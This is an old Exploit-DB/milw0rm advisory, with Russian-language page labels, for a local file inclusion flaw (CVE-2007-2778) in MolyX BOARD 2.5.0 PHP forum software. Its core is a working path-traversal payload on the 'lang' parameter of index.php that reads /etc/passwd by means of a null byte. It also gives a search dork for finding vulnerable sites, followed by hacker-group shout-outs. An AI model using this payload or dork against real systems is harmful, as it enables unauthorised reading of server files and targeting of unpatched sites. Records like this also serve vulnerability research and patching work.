Exploit MolyX BOARD 2.5.0 - 'index.php?lang' Local File Inclusion

[Exploiter]

EDB-ID

3949

Проверка EDB

1. Пройдено

Автор

MURDERSKILLZ

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-2778

Дата публикации

2007-05-18

=============== MolyX BOARD 2.5.0 Local File Inclusion ==== Possibly other versions

=============== Vulnerability found by MurderSkillz ==============================================

=============== d0rk "Powered by MolyX BOARD 2.5.0" =========================================

=============== Website: g00ns.net g00ns-forum.net ============================================

=============== Irc: irc.exploitercode.com:6667 ts: ts.g00ns.net ====================================

=============== Script website: molyx.com ====================================================

############### Exploit ###################################################################

www.victim.com/[path to board if any]/index.php?lang=../../../../../../../../etc/passwd%00

This Vulnerability takes place in pretty much every file in this webapp...

########################################################################################

Shouts: FiSh,sCuZz, sick, clorox, z3r0, katalyst, SyNiCaL, overdose, pr0be, Trintitty, rezen, str0ke and everyone else at g00ns.net that I forgot..

# milw0rm.com [2007-05-18]